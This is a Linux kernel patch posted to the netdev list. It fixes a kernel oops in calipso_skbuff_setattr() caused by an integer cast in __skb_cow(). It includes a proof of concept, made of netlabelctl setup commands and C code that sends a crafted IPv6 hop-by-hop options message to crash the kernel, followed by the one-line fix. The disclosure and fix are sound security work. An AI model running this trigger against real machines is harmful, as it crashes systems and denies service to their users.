netdev - [PATCH] ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff

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Message-Id: <20251219173637.797418-1-whrosenb@asu.edu>
Date: Fri, 19 Dec 2025 10:36:37 -0700
From: Will Rosenberg <whrosenb@....edu>
To: 
Cc: security@...nel.org,
	Will Rosenberg <whrosenb@....edu>,
	Paul Moore <paul@...l-moore.com>,
	"David S. Miller" <davem@...emloft.net>,
	David Ahern <dsahern@...nel.org>,
	Eric Dumazet <edumazet@...gle.com>,
	Jakub Kicinski <kuba@...nel.org>,
	Paolo Abeni <pabeni@...hat.com>,
	Simon Horman <horms@...nel.org>,
	Huw Davies <huw@...eweavers.com>,
	netdev@...r.kernel.org,
	linux-security-module@...r.kernel.org,
	linux-kernel@...r.kernel.org
Subject: [PATCH] ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

There exists a kernel oops caused by a BUG_ON(nhead < 0) at
net/core/skbuff.c:2232 in pskb_expand_head().
This bug is triggered as part of the calipso_skbuff_setattr()
routine when skb_cow() is passed headroom > INT_MAX
(i.e. (int)(skb_headroom(skb) + len_delta) < 0).

The root cause of the bug is due to an implicit integer cast in
__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure
that delta = headroom - skb_headroom(skb) is never negative, otherwise
we will trigger a BUG_ON in pskb_expand_head(). However, if
headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta
becomes negative, and pskb_expand_head() is passed a negative value for
nhead.

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing
"negative" headroom sizes to skb_cow() within calipso_skbuff_setattr()
by only using skb_cow() to grow headroom.

PoC:
	Using `netlabelctl` tool:

        netlabelctl map del default
        netlabelctl calipso add pass doi:7
        netlabelctl map add default address:0::1/128 protocol:calipso,7

        Then run the following PoC:

        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

        // setup msghdr
        int cmsg_size = 2;
        int cmsg_len = 0x60;
        struct msghdr msg;
        struct sockaddr_in6 dest_addr;
        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                        sizeof(struct cmsghdr) + cmsg_len);
        msg.msg_name = &dest_addr;
        msg.msg_namelen = sizeof(dest_addr);
        msg.msg_iov = NULL;
        msg.msg_iovlen = 0;
        msg.msg_control = cmsg;
        msg.msg_controllen = cmsg_len;
        msg.msg_flags = 0;

        // setup sockaddr
        dest_addr.sin6_family = AF_INET6;
        dest_addr.sin6_port = htons(31337);
        dest_addr.sin6_flowinfo = htonl(31337);
        dest_addr.sin6_addr = in6addr_loopback;
        dest_addr.sin6_scope_id = 31337;

        // setup cmsghdr
        cmsg->cmsg_len = cmsg_len;
        cmsg->cmsg_level = IPPROTO_IPV6;
        cmsg->cmsg_type = IPV6_HOPOPTS;
        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

        sendmsg(fd, &msg, 0);

Fixes: 2917f57b6bc1 ("calipso: Allow the lsm to label the skbuff directly.")
Signed-off-by: Will Rosenberg <whrosenb@....edu>
---

Notes:
    -Changing __skb_cow() would likely require an audit of all its use
    cases due to its long legacy in the kernel. After private discussions,
    it was decided that this patch should be applied to calipso to remedy
    the immediate symptoms and allow for easy backporting. However, net
    devs should consider remedying the root cause through __skb_cow()
    and skb_cow().
    
    -Paul, please let me know if I should add any form of credit for
    the patch code, such as "Suggested-By."

 net/ipv6/calipso.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/net/ipv6/calipso.c b/net/ipv6/calipso.c
index df1986973430..21f6ed126253 100644
--- a/net/ipv6/calipso.c
+++ b/net/ipv6/calipso.c
@@ -1342,7 +1342,8 @@ static int calipso_skbuff_setattr(struct sk_buff *skb,
 	/* At this point new_end aligns to 4n, so (new_end & 4) pads to 8n */
 	pad = ((new_end & 4) + (end & 7)) & 7;
 	len_delta = new_end - (int)end + pad;
-	ret_val = skb_cow(skb, skb_headroom(skb) + len_delta);
+	ret_val = skb_cow(skb,
+			  skb_headroom(skb) + (len_delta > 0 ? len_delta : 0));
 	if (ret_val < 0)
 		return ret_val;
 

base-commit: ea1013c1539270e372fc99854bc6e4d94eaeff66
-- 
2.34.1